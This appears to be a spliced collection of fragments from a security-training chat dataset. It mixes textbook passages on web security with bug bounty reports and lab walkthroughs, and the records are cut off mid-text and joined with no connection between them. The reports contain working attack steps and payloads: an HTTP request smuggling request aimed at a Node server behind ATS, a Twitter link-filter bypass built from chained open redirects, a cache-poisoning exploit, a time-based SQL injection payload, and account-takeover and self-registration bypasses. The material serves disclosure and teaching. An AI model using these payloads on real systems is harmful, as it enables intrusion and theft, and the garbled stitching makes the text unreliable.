DOCUMENT_NAME, which is the name of the requested\ndocument:\n\n

The current page is

\n\nThe following SSI directs the server to retrieve the file /footer.html and replace the\n#include tag with the contents of that file:\n\n\n\nWhen the Web server parses the following tag, it runs the ls command and replaces\nthe #exec tag with its results:\n\n\n\nAs a security reviewer, SSI functionality should make your ears perk up a little. You\nlearn more some handling issues with SSI in \"Programmatic SSI\" later in\nthis chapter."}], "metadata": {"source": "art_of_software_security_assessment", "source_author": "Mark Dowd, John McDonald, Justin Schuh", "domain": "web_appsec", "category": "web_technologies", "cwe": "", "category_type": "scenario", "chapter": "Chapter 17: Web Applications", "difficulty": "advanced", "record_id": "5fd127fb0a15549c", "response_length": 587, "num_turns": 3, "file": "book11.txt", "license": "review-upstream", "training_source": "web_offensive_elite_v2_sft", "signal": true, "dataset_key": "48f1baa5a2c8375b379b6f55f6558a4e09ad92a98dc6a4b65015406134731b6b", "split": "train", "merged_collection": "security-sft", "merged_from_split": "signal", "grounding": "authored_curated", "provenance": "upstream", "has_think": false}} {"messages": [{"role": "system", "content": "You are a senior application security analyst.

This is significant when user tries to limit the known hosts to ones specified in their own file, as the global file will be checked if no match is found from the user specified file.\n\nBy default this file is `/etc/ssh/ssh_known_hosts`, and thus not modifiable by non-privileged user (at least on major platforms). Thus in most situations this issue cannot be exploited by actively modifying the file. This limits the impact of this flaw.\n\n## Affected version\n8.17.0\n\n## Steps To Reproduce:\n\n 1. Configure and compile curl with `--with-libssh`\n 2.

GET /vendor/Regions and GET /vendor/definitions also returned live data.\n\nThis means any unauthenticated party on the internet can provision themselves an account on an internal Essity procurement system and read supplier data.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n1.

Navigate to /Account/ForgotPassword, enter the same email address, and submit. A password reset email is delivered.\n\n5. Open the reset link and set a password via /Account/ResetPassword.\n\n6. Log in at /Account/Login with the email and the password set in step 5.\n Result: authenticated session on the ████████.

The impact described above is based on what the application itself surfaced within seconds of login.\n\n**Steps to Reproduce:**\n[add details for how we can reproduce the issue]\n\n1. Navigate directly to ████████/Account/Register\n\n Note: this page is not linked from the login page at /Account/Login, nor from anywhere else in the application. It was discovered by requesting standard ASP.NET Identity controller routes directly. The endpoint returns HTTP 200 and serves a fully functional registration form.\n\n2. Complete the form with arbitrary values. No email domain restriction, supplier code, invitation token, or approval step is enforced. The values I used:\n\n Email: [REDACTED_EMAIL]\n First Name: Ouss\n Last Name: ki\n Phone Number: (arbitrary digits, not validated against any record)\n Company Name: HackerOne Security Research\n\n Submit the form.\n\n3. A confirmation email is delivered from ████████ containing a link to /Account/ConfirmEmail?userId=&code=. Open it. The application responds with \"Thank you for confirming your email.\"\n\nThe account is now active. Note that the registration form contains no password field, so the account exists without credentials at this point.\n\n4. Navigate to /Account/ForgotPassword, enter the same email address, and submit. A password reset email is delivered.\n\n5. Open the reset link and set a password via /Account/ResetPassword.\n\n6. Log in at /Account/Login with the email and the password set in step 5.\n Result: authenticated session on the ████████. The header displays \n\"Welcome Ouss from HackerOne Security Research\" — the values supplied at registration, with no vetting applied. The navigation bar exposes Home, Purchase Orders/Deliveries, Payments, Blanket Orders, and Glossary, plus a \"Purchase Order #\" search field.\n\n7. Observe the application's own XHR calls in proxy history, issued automatically on login with no further interaction:\n\n GET /vendor/Vendors → 200, application/json, 1719 bytes\n GET /vendor/Regions → 200, application/json\n GET /vendor/definitions → 200, application/json\n GET /release/statuses → 500, text/html, 4391 bytes\n\n /vendor/Vendors returns a JSON array of live vendor records in the form\n [{\"VendorNumber\":\"\",\"VendorName\":\"\"}, ...], confirming the \n account is granted real data access rather than an empty or sandboxed view.\n\n## Supporting Material/References:\n\n████████\n\n████████\n\n████████"}, {"role": "assistant", "content": "**Vulnerability Class:** auth\n**CWE:** CWE-306\n**Weakness:** Missing Authentication for Critical Function\n**Severity:** medium\n**Endpoint Pattern:** GET /vendor/Vendors\n\n**Impact Assessment:**\nAny unauthenticated party on the internet can provision themselves a working account on an internal Essity procurement system, with no invitation, no approval, no supplier code, and no verification of affiliation.

Since the endpoint lacks proper authorization checks and even responds when unauthenticated, sensitive internal information, such as unpatched security issues, confidential business data, or personally identifiable information, could be fully exposed.

allow a user to reopen disable accounts.\r\n\r\nDisable Accounts Are two types:\r\n1) Disable by user ownself.\r\n2) Disable by hackerone for any reason (abusive behaviour , breaking rules etc.)\r\n\r\nSo i am Brief second one how to exploit because second one is too much interesting exploit \r\nas compare to first one ;)\r\n\r\nI am looking digging and found something cool and reopen disable accounts.\r\n\r\nSteps To reproduce:\r\n1) Goto Email option and put working email for updating like ([REDACTED_EMAIL]) then recieve an email of confirmation token (don't use it).\r\n\r\n2) Now abusing and breaking hackerone rules which cause to lead banning :D\r\n\r\n3) OOPS i am ban and also check my also updating email token on ([REDACTED_EMAIL]) also expire :/\r\n and not working anymore and links be like:\r\nhttps://hackerone.com/users/confirmation?confirmation_token=\r\n\r\n4) But Confirmation Instructions give me some hints :D\r\n•\tConfirmation instructions\r\n•\tThe confirmation token you provided is invalid.\r\n•\tEnter the email address you signed up with to request a new confirmation token\r\n\r\n5) So again put this update email([REDACTED_EMAIL]) and BOOM recieved confirmation email\r\nthen confirmed account , email successfully update.\r\n\r\n6) Now use forgot pass and access to your account again.\r\n\r\nAfter account ban i am not able to check my reports even not get forgot pass email but if i am hide my email on email updating then i am again access to my account.\r\nAfter this if anyone change identity like username , email , name etc .\r\n\r\n•\tAfter Disabling totally remove emails even they are on update mode or if they in update mode before sending confirmation email check account is disable or not or any other condition .\r\n\r\nYola disable accounts again access able or changing identity is simple so again and again spamming\r\nand via this bug again and again account open even old nicks :D\r\n\r\nSome Other Effects:\r\ni)Old reports back\r\nii) Account successfully shifted to new email.\r\niii) Old triaged bugs , not payable bounties everthing you have.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMay be this one is valid but scenrio be like:\r\nFirst Scenerio:\r\nWell i am playing some options and going to email and check if someone updating \r\nemail there is no option to cancel this new email even if i am updating old email also\r\neven they show me \r\n\r\n\"You have a pending confirmation for [REDACTED_EMAIL].\"\r\n\r\nCool no option to remove this email but something is good after sometime token of confirmation is expire and not working anymore but tale of this lead to critical exploit.\r\n \r\nSteps To Reproduce:\r\n1) Goto Email option and put working email then recieve an email of confirmation token (don't use it).\r\n\r\n2) After Checking some hours they expire and not working anymore and links be like:\r\nhttps://hackerone.com/users/confirmation?confirmation_token=\r\n\r\n3) But Confirmation Instructions give me some hints :D\r\nConfirmation instructions\r\nThe confirmation token you provided is invalid.\r\nEnter the email address you signed up with to request a new confirmation token.\r\n\r\n4) So i can check and put another email ([REDACTED_EMAIL] )and see no email recieved about confirmation\r\nbut suddenly i can put my email which is above i can filled for updating ([REDACTED_EMAIL])\r\nand hit resend and see email recieved for confirmation :o\r\n\r\n5) I click the link and email successfully confirmed and further use forgot password functionality to takeover the full account or access to the account.\r\n\r\n\r\nReason behind is first time token generated on behalf of [REDACTED_EMAIL]\r\nand still alive until email was not removed on hackerone pending bar..\r\n\r\nIf someone mistakenly put wrong email confirmation link sent to user, but some hours \r\ntoken is expire ,but but attacker still user this token to use takeover account.\r\n\r\nSecond issue may be not valid but first one is interesting and valid...hope you fix it soon :)\r\n\r\n\r\n\n\n**Steps to Reproduce:**\n1) Goto Email option and put working email for updating like ([REDACTED_EMAIL]) then recieve an email of confirmation token (don't use it).\n\n2) Now abusing and breaking hackerone rules which cause to lead banning :D\n\n3) OOPS i am ban and also check my also updating email token on ([REDACTED_EMAIL]) also expire :/\n and not working anymore and links be like:\nhttps://hackerone.com/users/confirmation?confirmation_token=\n\n4) But Confirmation Instructions give me some hints :D\n•\tConfirmation instructions\n•\tThe confirmation token you provided is invalid.\n•\tEnter the email address you signed up with to request a new confirmation token\n\n5) So again put this update email([REDACTED_EMAIL]) and BOOM recieved confirmation email\nthen confirmed account , email successfully update.\n\n6) Now use forgot pass and access to your account again.\n\nAfter account ban i am not able to check my reports even not get forgot pass email but if i am hide my email on email updating then i am again access to my account.\nAfter this if anyone change identity like username , email , name etc .\n\n•\tAfter Disabling totally remove emails even they are on update mode or if they in update mode before sending confirmation email check account is disable or not or any other condition .\n\nYola disable accounts again access able or changing identity is simple so again and again spamming\nand via this bug again and again account open even old nicks :D\n\nSome Other Effects:\ni)Old reports back\nii) Account successfully shifted to new email.\niii) Old triaged bugs , not payable bounties everthing you have.\n\n\n\n\n\n\n\n\n\nMay be this one is valid but scenrio be like:\nFirst Scenerio:\nWell i am playing some options and going to email and check if someone updating \nemail there is no option to cancel this new email even if i am updating old email also\neven they show me \n\n\"You have a pending confirmation for [REDACTED_EMAIL].\"\n\nCool no option to remove this email but something is good

Many of these concepts tie in closely with the\nsecurity considerations addressed later in the chapter, particularly in the discussion of\nthreat modeling. The following sections introduce several concepts that help establish\nan application's functional boundaries with respect to security.\n\nAlgorithms\n\nSoftware engineering can be summed up as the process of developing and\nimplementing algorithms. From a design perspective, this process focuses on\ndeveloping key program algorithms and data structures as well as specifying problem\ndomain logic. To understand the security requirements and vulnerability potential of\na system design, you must first understand the core algorithms that comprise a\nsystem.\n\nProblem Domain Logic\n\nProblem domain logic (or business logic) provides rules that a program follows as\nit processes data. A design for a software system must include rules and processes for\nthe main tasks the software carries out. One major component of software design is\nthe security expectations associated with the system's users and resources. For\nexample, consider banking software with the following rules:\n\n A person can transfer money from his or her main account to any valid\n account.\n  A person can transfer money from his or her money market account to any\n valid account.\n  A person can transfer money from his or her money market account only once\n a month.\n  If a person goes below a zero balance in his or her main account, money is\n automatically transferred from his or her money market account to cover the\n balance, if that money is available.\n\nThis example is simple, but you can see that bank customers might be able to get\naround the once-a-month transfer restriction on money market accounts. They could\nintentionally drain their main account below zero to \"free\" money from their monkey\nmarket accounts. Therefore, the design for this system has an oversight that bank\ncustomers could potentially exploit."}], "metadata": {"source": "art_of_software_security_assessment", "source_author": "Mark Dowd, John McDonald, Justin Schuh", "domain": "web_appsec", "category": "design_review", "cwe": "", "category_type": "methodology", "chapter": "Chapter 2: Design Review", "difficulty": "intermediate", "record_id": "b1afa9da4a55e8d8", "response_length": 345, "num_turns": 3, "file": "book11.txt", "license": "review-upstream", "training_source": "web_offensive_elite_v2_sft", "signal": true, "dataset_key": "c538e34b49d3fdfaecaf7b1b3c0cc2f4cfc4fa8af849e5c6bdbff2756a000c44", "split": "train", "merged_collection": "security-sft", "merged_from_split": "signal", "grounding": "authored_curated", "provenance": "upstream", "has_think": false}} {"messages": [{"role": "system", "content": "You are a senior application security analyst.

Any token transmit-\n ted in cleartext should be regarded as tainted — that is, as not providing\n assurance of the user’s identity. If HTTP cookies are being used to transmit\n tokens, these should be flagged as secure to prevent the user’s browser\n from ever transmitting them over HTTP. If feasible, HTTPS should be used\n for every page of the application, including static content such as help\n pages, images, and so on. If this is not desired and an HTTP service is still\n implemented, the application should redirect any requests for sensitive\n content (including the login page) to the HTTPS service. Static resources\n such as help pages usually are not sensitive and may be accessed without\n any authenticated session. Hence, the use of secure cookies can be backed\n up using cookie scope instructions to prevent tokens from being submit-\n ted in requests for these resources.\n n Session tokens should never be transmitted in the URL, because this pro-\n vides a simple vehicle for session fixation attacks and results in tokens\n appearing in numerous logging mechanisms. In some cases, developers\n use this technique to implement sessions in browsers that have cookies\n disabled. However, a better means of achieving this is to use POST requests\n for all navigation and store tokens in a hidden field of an HTML form.\n n Logout functionality should be implemented. This should dispose of all\n session resources held on the server and invalidate the session token.\n n Session expiration should be implemented after a suitable period of inac-\n tivity (such as 10 minutes). This should result in the same behavior as if\n the user had explicitly logged out.\n n Concurrent logins should be prevented. Each time a user logs in, a differ-\n ent session token should be issued, and any existing session belonging to\n the user should be disposed of as if she had logged out from it. When this\n occurs, the old token may be stored for a period of time. Any subsequent\n requests received using the token should return a security alert to the\n user stating that the session has been terminated because she logged in\n from a different location.\n n If the application contains any administrative or diagnostic functional-\n ity that enables session tokens to be viewed, this functionality should be\n robustly defended against unauthorized access. In most cases, there is no\n need for this functionality to display the actual session token. Rather, it\n should contain sufficient details about the owner of the session for any\n\nc07.indd 250 8/19/2011 12:07:44 PM\n\n Stuttard c07.indd V3 - 07/22/2011 Page 251"}], "metadata": {"source": "raunaksplanet_cybersecurity_store", "source_author": "Raunak (Raunaksplanet)", "domain": "web_appsec", "category": "Session Management", "cwe": "CWE-384", "category_type": "methodology", "chapter": "Ch7: Attacking Session Management", "difficulty": "intermediate", "record_id": "153b707d723903be", "response_length": 564, "num_turns": 3, "source_repo": "https://github.com/Raunaksplanet/My-CyberSecurity-Store/", "license": "review-upstream", "file": "Books/The Web Application Hackers Handbook 2nd Edition.pdf", "training_source": "web_offensive_elite_v2_sft", "signal": true, "dataset_key": "a3af5153fd8eda167aa534e2602e9df151d112c99a796d1230ca8fb11e00b3d6", "split": "valid", "merged_collection": "security-sft", "merged_from_split": "signal", "class": "auth", "class_backfilled": true, "grounding": "authored_curated", "provenance": "upstream", "has_think": false}} {"messages": [{"role": "system", "content": "You are a senior application security analyst.

Most notably perhaps, Twitter recently added (tsk tsk...) `ddosecrets.com` to that deny list. The link validation performed by the backend is a black box (not documented anywhere public, as far as I know). However, I have found a way to defeat it. By combining the following two open (one internal, one external) redirects,\n\n* `https://twitter.com/login?redirect_after_login=ONLY_TWITTER_SUBDOMAINS_ALLOWED_URL`\n* `https://analytics.twitter.com/daa/0/daa_optout_actions?action_id=4&rd=ARBITRARY_URL%3F` (note the URL-encoded question mark at the end)\n\nand using an [Ideographic Full Stop](https://unicode-table.com/en/3002/) in place of the ASCII period in the malicious target URL, it's possible to craft a URL that redirects to the forbidden domain name but that Twitter allows users to post in tweets.\n\n## Steps To Reproduce:\n\n 1. Choose the target URL; let's take `https://ddosecrets.com` as an example.\n 2. Replace all occurrences of the ASCII period by the URL-encoded version of the [Ideographic Full Stop](https://unicode-table.com/en/3002/), i.e. `%E3%80%82`: `https://ddosecrets%E3%80%82com`.\n 3. URL-encode the result of step 2: `https%3A%2F%2Fddosecrets%25E3%2580%2582com`.\n 4. Append the result of step 3 to `https://analytics.twitter.com/daa/0/daa_optout_actions?action_id=4&rd=` and append `%3F` to the result: `https://analytics.twitter.com/daa/0/daa_optout_actions?action_id=4&rd=https%3A%2F%2Fddosecrets%25E3%2580%2582com%3F`.\n 5.

Log in to Twitter and tweet the URL resulting from step 6. Posting the tweet will succeed (but it shouldn't, if link validation were effective).\n 8.

Specifically:\n\nA vulnerability was identified in the target application. **Summary:**\nThe `llhttp` parser in the `http` module in Node 16.3.0 ignores chunk extensions when parsing the body of chunked requests. This leads to HTTP Request Smuggling (HRS) when a Node server is put behind an Apache Traffic Server (ATS) 9.0.0 proxy.\n\n**Description:**\nIn the `chunked` transfer encoding format there can be a so called chunk extension after each chunk size. Example:\n```\nGET / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n5 ; a=b\nhello\n0\n\n```\nIn the example above the chunk extension would be `; a=b`. You can read more here https://datatracker.ietf.org/doc/html/rfc7230#section-4.1.1 and here https://www.rfc-editor.org/errata/eid4667 .\n\n`llhttp` doesn't try to parse the chunk extension properly, but simply ignores every byte until it reaches a `\\r` (source: https://github.com/nodejs/llhttp/blob/master/src/llhttp/http.ts#L736-L739). By following the ABNF of chunk extensions one can see that the only allowed bytes in this area are 0x09, 0x21-0x7e and 0x80-0xff. But `llhttp` allows any byte. This is the bug.\n\nNotably we can put a `\\n` in this area. This allows us to perform HRS when combined with ATS. This is because ATS also incorrectly parses the chunked extension. ATS looks for the first `\\n` character and doesn't verify whether it was preceded by a `\\r`. We arrive at the following attack:\n\n```\nGET / HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n2 \\nxx\n4c\n0\n\nGET /admin HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n0\n\n```\n\nBy sending the data above when ATS is a proxy in front of Node, ATS will see one request to `/` and Node will see two requests, one to `/` and one to `/admin`. Note that all lines are terminated by CRLF (`\\r\\n`) and that `\\n` should be replaced with an LF character.\n\nUsually with HRS it is possible to smuggle a request past a proxy directly to the server and then get a response for the smuggled request back to the attacker. But due to a bug in ATS where the connection hangs after a chunked request is sent, we can in this case only send a smuggled request and not see the response. But we have full control over the headers and body of the smuggled request.\n\nBoth these bugs have been reported to ATS and have not been fixed yet.\n\n## Steps To Reproduce:\n\nThis Proof of Concept requires docker and docker-compose.\n\nUnzip the attached `poc.zip`. Start the systems with `sudo docker-compose up --build`. Now Node can be accessed directly at http://localhost:8081 and ATS (forwarding to Node) can be accessed at http://localhost:8080\n\nNode behaves like this:\n```sh\n$ curl http://localhost:8081\nINDEX\n$ curl http://localhost:8081/admin\nADMIN\n$ curl http://localhost:8081/forbidden\nFORBIDDEN\n```\n\nNote that when `/admin` is requested, then `/admin was reached!` is printed in the docker-compose terminal.\n\nATS behaves like this:\n```sh\n$ curl http://localhost:8080\nINDEX\n$ curl http://localhost:8080/admin\nFORBIDDEN\n$ curl http://localhost:8080/forbidden\nFORBIDDEN\n```\n\nNote that all requests to `/admin` are rerouted to `/forbidden` by ATS. So the `/admin` endpoint can't be reached.\n\nNow it's time to send the attack described above. This can be done by using the included `payload.py`. The attack can be sent using the following command:\n\n```sh\npython3 payload.py | nc localhost 8080\n```\n\nWhen the attack is sent, we see `/admin was reached!` being printed in the terminal. So we bypassed the proxy and reached `/admin`.\n\n(As mentioned before, due to a bug in ATS, the response to the smuggled request can't be seen. If ATS would not have had the mentioned bug, then `payload2.py` could have been used to both send a request and see the response.)\n\n## Impact\n\nIf the proxy is acting as an access control system, only allowing certain requests to come through, it can be bypassed, allowing any request to be sent.\n\nThe root weakness is HTTP Request Smuggling.\n\n**Steps to Reproduce:**\nThis Proof of Concept requires docker and docker-compose.\n\nUnzip the attached `poc.zip`.

With Burp running, investigate the login page and submit an invalid username and password. Send the `POST /login` request to Burp Intruder.\n2. Select Cluster bomb attack from the attack type drop-down menu. Add a payload position to the `username` parameter. Add a blank payload position to the end of the request body by clicking Add §. The result should look something like this: `username=§invalid-username§&password=example§§`\n3. In the Payloads side panel, add the list of usernames for the first payload position. For the second payload position, select the Null payloads type and choose the option to generate 5 payloads. This will effectively cause each username to be repeated 5 times. Start the attack.\n4. In the results, notice that the responses for one of the usernames were longer than responses when using other usernames. Study the response more closely and notice that it contains a different error message: `You have made too many incorrect login attempts.` Make a note of this username.\n5. Create a new Burp Intruder attack on the `POST /login` request, but this time select Sniper attack from the attack type drop-down menu. Set the `username` parameter to the username that you just identified and add a payload position to the `password` parameter.\n6. Add the list of passwords to the payload set and create a grep extraction rule for the error message. Start the attack.\n7. In the results, look at the grep extract column. Notice that there are a couple of different error messages, but one of the responses did not contain any error message. Make a note of this password.\n8. Wait for a minute to allow the account lock to reset. Log in using the username and password that you identified and access the user account page to solve the lab.\n\n## Vulnerability note\n\nUnderlying issue: Authentication (CWE-287).

A chaotic and messy\n SDLC makes it impossible to track the code you’re running and its vulner-\n abilities, which inevitably leads to a buggy, insecure website. However, a\n well-structured SDLC allows you to root out bugs and vulnerabilities early\n in the process to protect your end-product site from attacks.\n We’ll go through five phases of a good SDLC: design and analysis, writ-\n ing code, pre-release testing, the release process, and post-release testing\n and observation. We’ll also briefly talk about securing dependencies, the\n third-party software that we use in our websites.\n\n Phase 1: Design and Analysis\n The SDLC doesn’t begin with writing code; it begins with thinking about\n what code you should be writing. We call this first phase the design and\n analysis phase: you analyze the features you need to add and design their\n implementation. At the start of a project, this might consist of sketching\n out brief design aims.

It also allows *html tags and attributes* in the description of the openapi. Although it removes malicious tags and attributes, but this is not enough in gitlab's context:\n\n1. `class` and `style` attributes allow attackers to arbitrarily present their disposition. My demo below uses `class` attribute to create a transparent layer that fulfils the document to intercept any user's clics.\n\n2. `data-*` attributes, under the help of [jquery-ujs](https://gitlab.com/gitlab-org/gitlab/-/blob/master/package.json#L90), allows attackers to create any requests to server when user clicking (not only `GET`, but also, `PUT`, `DELETE`, `HEAD`) with arbitrary parameters\n\n3.

With Burp running, load the website's home page\n2. In Burp, go to \"Proxy\" > \"HTTP history\" and study the requests and responses that you generated. Find the `GET` request for the home page and send it to Burp Repeater.\n3. Add a cache-buster query parameter, such as `?cb=1234`.\n4. Add the `X-Forwarded-Host` header with an arbitrary hostname, such as `example.com`, and send the request.\n5. Observe that the `X-Forwarded-Host` header has been used to dynamically generate an absolute URL for importing a JavaScript file stored at `/resources/js/tracking.js`.\n6. Replay the request and observe that the response contains the header `X-Cache: hit`. This tells us that the response came from the cache.\n7. Go to the exploit server and change the file name to match the path used by the vulnerable response: `/resources/js/tracking.js`\n8. In the body, enter the payload `alert(document.cookie)` and store the exploit.\n9. Open the `GET` request for the home page in Burp Repeater and remove the cache buster.\n10. Add the following header, remembering to enter your own exploit server ID: `X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net`\n11. Send your malicious request. Keep replaying the request until you see your exploit server URL being reflected in the response and `X-Cache: hit` in the headers.\n12. To simulate the victim, load the poisoned URL in the browser and make sure that the `alert()` is triggered. Note that you have to perform this test before the cache expires. The cache on this lab expires every 30 seconds.\n13. If the lab is still not solved, the victim did not access the page while the cache was poisoned. Keep sending the request every few seconds to re-poison the cache until the victim is affected and the lab is solved.\n\n## Vulnerability note\n\nUnderlying issue: Web cache poisoning (CWE-444).

This type of vulnerability can potentially be exploited to extract sensitive information from the database or even gain full control over the application's backend.\nThe vulnerable parameter is the `sortBy` parameter.\n\n## References\nOWASP SQL Injection\nhttps://owasp.org/www-community/attacks/SQL_Injection\n\nSimilar report\nhttps://hackerone.com/reports/2312334\n\n## Impact\n\nThis vulnerability allows an attacker to:\n- Confirm the existence of SQL injection by observing server response delays\n- Potentially extract sensitive information from the database, such as usernames, passwords, or other critical data. \nThe sensitive information could be extracted by sending payloads like \"IF (SUBSTRING(DB_NAME(), 1, 1) = 'A') WAITFOR DELAY '00:00:05'; --\". In this example, if the response is delayed, the attacker would know that the database name starts with 'A', then they would keep sending more payloads until they discover the full database name. They could also discover more information using the same method, like table names, column names and records stored in the database\n\n## System Host(s)\n██████████\n\n\n\n## Steps to Reproduce\n1. Open a browser\n- The vulnerability can be tested directly in the browser by altering the URL parameters\n\n\n2.

These two requests have different response times, which confirms the presence of a time-based blind SQL injection vulnerability\n\nIn the following video, I recorded a demontration of the vulnerability using Burp Suite. First, a request with a 5-second delay is sent. Then another one with a 0-second delay is sent. The difference in response times can be clearly seen\n██████\n\n## Suggested Mitigation/Remediation Actions\n- Implement input validation to prevent SQL queries from being executed. User-supplied data should be validated and sanitized to remove potentially harmful characters, such as single quotes ('), semicolons (;), and SQL keywords\n- Use prepared statements and parameterized queries. User-supplied data should not be concatenated in SQL queries\n\n\n\n**Steps to Reproduce:**\n1.
